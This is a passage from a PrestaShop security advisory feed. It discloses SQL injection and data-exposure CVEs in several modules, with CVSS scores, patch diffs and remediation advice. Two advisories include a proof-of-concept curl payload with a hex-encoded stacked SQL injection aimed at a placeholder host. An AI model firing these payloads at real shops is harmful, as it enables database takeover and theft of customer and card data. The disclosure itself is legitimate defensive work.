  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.webbax.ch/2017/08/30/9-modules-prestashop-gratuits-offert-par-webbax/">Author page</a></li>
  <li><a href="https://shop.webbax.ch/prestashop-15-/71-module-supernewsletter-15.html">Author page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-33275">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Super Newsletter” (supernewsletter) up to version 1.4.21 (DANGER : all versions) from Webbax for PrestaShop, due to a predictable token, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-33272] Improper neutralization of SQL parameters in Knowband - Search Auto Suggest module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/04/25/autosuggest.html" rel="alternate" type="text/html" title="[CVE-2024-33272] Improper neutralization of SQL parameters in Knowband - Search Auto Suggest module for PrestaShop" /><published>2024-04-25T00:00:00+00:00</published><updated>2024-04-25T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/04/25/autosuggest</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/04/25/autosuggest.html"><![CDATA[<p>In the module “Search Auto Suggest” (autosuggest) up to version 2.0.0 from KnowBand for PrestaShop, an anonymous user can perform a SQL injection.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33272">CVE-2024-33272</a></li>
  <li><strong>Published at</strong>: 2024-04-25</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: autosuggest</li>
  <li><strong>Impacted release</strong>: &lt; 2.0.0 (2.0.0 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: KnowBand</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Methods <code class="language-plaintext highlighter-rouge">AutosuggestSearchModuleFrontController::initContent()</code> and <code class="language-plaintext highlighter-rouge">AutosuggestSearchModuleFrontController::getKbProducts()</code> has sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy a webskimmer to massively steal credit cards.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">-d</span> <span class="s1">'fc=module&amp;module=autosuggest&amp;controller=search&amp;keyword=1";select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--&amp;prod_id=1'</span> <span class="s1">'https://preprod.X'</span>
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>autosuggest</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-01-25</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2024-01-25</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope</td>
    </tr>
    <tr>
      <td>2024-01-25</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2024-04-10</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-04-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-04-25</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.knowband.com/prestashop-search-auto-suggest">Author product page</a></li>
  <li><a href="https://addons.prestashop.com/en/search-filters/21543-knowband-search-auto-suggest.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-33272">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Search Auto Suggest” (autosuggest) up to version 2.0.0 from KnowBand for PrestaShop, an anonymous user can perform a SQL injection.]]></summary></entry><entry><title type="html">[CVE-2024-33266] Improper neutralization of SQL parameter in Helloshop - Tracking Center - Parcel tracking 80 carriers module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/04/25/deliveryorderautoupdate.html" rel="alternate" type="text/html" title="[CVE-2024-33266] Improper neutralization of SQL parameter in Helloshop - Tracking Center - Parcel tracking 80 carriers module for PrestaShop" /><published>2024-04-25T00:00:00+00:00</published><updated>2024-04-25T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/04/25/deliveryorderautoupdate</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/04/25/deliveryorderautoupdate.html"><![CDATA[<p>In the module “Tracking Center - Parcel tracking 80 carriers” (deliveryorderautoupdate) up to version 2.8.2 from Helloshop for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33266">CVE-2024-33266</a></li>
  <li><strong>Published at</strong>: 2024-04-25</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: deliveryorderautoupdate</li>
  <li><strong>Impacted release</strong>: &lt;= 2.8.1 (2.8.2 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Helloshop</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Ajax script ajax_email.php, all scripts in directory webservices/ and the method <code class="language-plaintext highlighter-rouge">DeliveryorderautoupdateOrdersModuleFrontController::initContent()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : One of exploits (against ajax_email.php) is actively used to deploy a webskimmer to massively steal credit cards.</p>

<p>Note : the author has deleted from his module one of the files (ajax_email.php) which have been suffering from critical vulnerabilities for years, BUT did not set them to be “auto-deleted” during upgrades. Therefore, there are likely merchants out there with older versions who have updated their modules, thinking they are safe. However, there is nothing safe about that, since past upgrades did not auto-delete the implicated files. To ensure everyone has a “safe version”, we decided to mark all versions up to 2.8.1 as impacted by this issue.</p>

<p><strong>DANGER</strong> : Patch provided are partial - since there is more than 100 critical issues inside the directory webservices/, we do not provide patch - put the directory under IP restriction without delay or upgrade the module.</p>

<p>One of exploits uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<p>PUBLIC POC - seen on 2.2.2- (and potentially newer since author did not auto deleted file)</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s1">'https://preprod.X/modules/deliveryorderautoupdate/ajax_email.php?lang=1;select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--'</span>
</code></pre></div></div>

<h2 id="patch-from-222">Patch from 2.2.2</h2>

<p>This one can impact newer version than 2.2.2, see Note above.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 2.2.2/modules/deliveryorderautoupdate/ajax_email.php
</span><span class="gi">+++ XXXXX/modules/deliveryorderautoupdate/ajax_email.php
</span><span class="err">...</span>
    $lang = Db::getInstance()-&gt;getRow(
<span class="gd">-       'SELECT iso_code FROM '._DB_PREFIX_.'lang WHERE id_lang='.Tools::getValue('lang')
</span><span class="gi">+       'SELECT iso_code FROM '._DB_PREFIX_.'lang WHERE id_lang='.(int) Tools::getValue('lang')
</span></code></pre></div></div>

<h2 id="patch-from-281">Patch from 2.8.1</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 2.8.1/modules/deliveryorderautoupdate/controllers/front/orders.php
</span><span class="gi">+++ XXXXX/modules/deliveryorderautoupdate/controllers/front/orders.php
</span><span class="err">...</span>
        if (Tools::isSubmit('id_email')) {
<span class="gd">-           $id_email =  Tools::getValue('id_email');
</span><span class="gi">+           $id_email =  (int) Tools::getValue('id_email');
</span>            $order = Order::getByReference($id)-&gt;getFirst();
            if ($order) {
                $id_order = $order-&gt;id;
                Db::getInstance()-&gt;update('hl_tracking_email', array(
                    'email_status' =&gt; 3,
<span class="gd">-               ), "id = {$id_email} AND id_order = {$id_order}");
</span><span class="gi">+               ), "id = ". $id_email . " AND id_order = " . (int) $id_order);
</span>            }
        }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>deliveryorderautoupdate</strong>.</li>
  <li>You should restrict access to modules/deliveryorderautoupdate/webservices/ to a given whitelist</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-11-13</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a> and by <a href="https://www.202-ecommerce.com/">202 ecommerce</a></td>
    </tr>
    <tr>
      <td>2023-11-13</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-11-13</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2024-01-25</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-04-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-04-25</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://helloshop.com/fr/modules-pour-prestashop/2-module-tracking-center-pour-prestashop.html">Author product page</a></li>
  <li><a href="https://addons.prestashop.com/en/delivery-tracking/22347-tracking-center-parcel-tracking-80-carriers.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-33266">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Tracking Center - Parcel tracking 80 carriers” (deliveryorderautoupdate) up to version 2.8.2 from Helloshop for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-33271] Exposure of Private Personal Information to an Unauthorized Actor in FME Modules - Events Manager, Create events &amp;amp; Sell tickets Online module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/04/25/eventsmanager.html" rel="alternate" type="text/html" title="[CVE-2024-33271] Exposure of Private Personal Information to an Unauthorized Actor in FME Modules - Events Manager, Create events &amp;amp; Sell tickets Online module for PrestaShop" /><published>2024-04-25T00:00:00+00:00</published><updated>2024-04-25T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/04/25/eventsmanager</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/04/25/eventsmanager.html"><![CDATA[<p>In the module “Events Manager, Create events &amp; Sell tickets Online” (eventsmanager) up to version 4.4.0 from FME Modules for PrestaShop, a guest can download personal information without restriction.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33271">CVE-2024-33271</a></li>
  <li><strong>Published at</strong>: 2024-04-25</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: eventsmanager</li>
  <li><strong>Impacted release</strong>: &lt;= 4.3.0 (4.4.0 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: FME Modules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/359.html">CWE-359</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permissions control, a guest can download data from ps_customer such as : name / surname / email</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Steal personal data</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>eventsmanager</strong>.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-01-18</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2024-01-18</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2024-01-18</td>
      <td>Contact PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2024-03-29</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-04-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-04-25</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.fmemodules.com/en/prestashop-modules/39-events-manager.html">Author product page</a></li>
  <li><a href="https://addons.prestashop.com/en/reservation-rental-system/17275-events-manager-create-events-sell-tickets-online.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-33271">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 ecommerce.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Events Manager, Create events &amp; Sell tickets Online” (eventsmanager) up to version 4.4.0 from FME Modules for PrestaShop, a guest can download personal information without restriction.]]></summary></entry><entry><title type="html">[CVE-2024-33269] Improper neutralization of SQL parameter in Prestaddons - Flash Sales module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/04/25/flashsales.html" rel="alternate" type="text/html" title="[CVE-2024-33269] Improper neutralization of SQL parameter in Prestaddons - Flash Sales module for PrestaShop" /><published>2024-04-25T00:00:00+00:00</published><updated>2024-04-25T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/04/25/flashsales</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/04/25/flashsales.html"><![CDATA[<p>In the module “Flash Sales” (flashsales) up to version 1.9.7 from Prestaddons for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33269">CVE-2024-33269</a></li>
  <li><strong>Published at</strong>: 2024-04-25</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: flashsales</li>
  <li><strong>Impacted release</strong>: &lt;= 1.9.7 (1.9.8 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Prestaddons</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a predictable hardcoded token, the method <code class="language-plaintext highlighter-rouge">FsModel::getFlashSales()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>Be warned that this module still suffer of a predictable token that you should update on each installation.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-197">Patch from 1.9.7</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.9.7/modules/flashsales/fsmodel.class.php
</span><span class="gi">+++ 1.9.8/modules/flashsales/fsmodel.class.php
</span><span class="err">...</span>
        if ($order_by != '') {
            if (empty($order_by) || $order_by == 'position') {
                $order_by = 'date_add';
            }
<span class="gi">+           if (!Validate::isOrderBy($order_by) || !Validate::isOrderWay($order_way)) { die(Tools::displayError());}
</span>            if ($order_by == 'asc' || $order_by == 'desc') {
                $sql .= ' ORDER BY '._DB_PREFIX_.'product_lang.'.$order_by.' '.$order_way;
            } else 
                $sql .= ' ORDER BY '.$order_by.' '.$order_way;
            }
        }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>flashsales</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-02-22</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2024-02-22</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2024-02-22</td>
      <td>PrestaShop Addons security Team confirms version scope by author</td>
    </tr>
    <tr>
      <td>2024-03-18</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-04-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-04-25</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.prestaddons.fr/fr/modules-prestashop/18-module-prestashop-ventes-flash.html">Author product page</a></li>
  <li><a href="https://addons.prestashop.com/en/private-sales-flash-sales/17327-flash-sales.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-33269">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Flash Sales” (flashsales) up to version 1.9.7 from Prestaddons for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-33268] Improper neutralization of SQL parameter in Digincube - Free Gifts Products module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/04/25/mdgiftproduct.html" rel="alternate" type="text/html" title="[CVE-2024-33268] Improper neutralization of SQL parameter in Digincube - Free Gifts Products module for PrestaShop" /><published>2024-04-25T00:00:00+00:00</published><updated>2024-04-25T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/04/25/mdgiftproduct</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/04/25/mdgiftproduct.html"><![CDATA[<p>In the module “Free Gifts Products” (mdgiftproduct) up to version 1.4.1 from Digincube for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33268">CVE-2024-33268</a></li>
  <li><strong>Published at</strong>: 2024-04-25</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: mdgiftproduct</li>
  <li><strong>Impacted release</strong>: &lt; 1.4.1 (1.4.1 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Digincube</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">MdGiftRule::addGiftToCart()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-139">Patch from 1.3.9</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.3.9/modules/mdgiftproduct/classes/models/MdGiftRule.php
</span><span class="gi">+++ XXXXX/modules/mdgiftproduct/classes/models/MdGiftRule.php
</span>        $insert_product_discount = [];
        if (!empty($products)) {
            foreach ($products as $productItem) {
<span class="gd">-               $productItemAttribut = isset($productItem['id_product_attribute']) ? $productItem['id_product_attribute'] : 0;
</span><span class="gi">+               $productItemAttribut = isset($productItem['id_product_attribute']) ? (int) $productItem['id_product_attribute'] : 0;
</span>                if ($auto) {
                    $productItem['qty'] = $nb_product == 1 ? (int)$this-&gt;nb_product_gift : 1;
                }
                $productItem_qty = isset($productItem['qty']) ? (int)$productItem['qty'] : 1;

                $cart-&gt;updateQty($productItem_qty, $productItem['id_product'], $productItemAttribut, false, 'up');
                $hashData = uniqid().$this-&gt;id .'_'. $cart-&gt;id . '_' . $productItem['id_product']. '_' . $productItemAttribut;
                $values_hash = md5($hashData);
                //$insert_product_discount[] = '('.(int)$cart-&gt;id.','.(int)$this-&gt;id.','.(int)$productItem['id_product'].','.$productItemAttribut.','.($nb_product == 1 ? (int)$this-&gt;nb_product_gift : 1).', "'.$values_hash.'" )';

                $insert_product_discount[] = '('.(int)$cart-&gt;id.','.(int)$this-&gt;id.','.(int)$productItem['id_product'].','.$productItemAttribut.','.$productItem_qty.', "'.$values_hash.'" )';
            }
        }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>mdgiftproduct</strong>.</li>
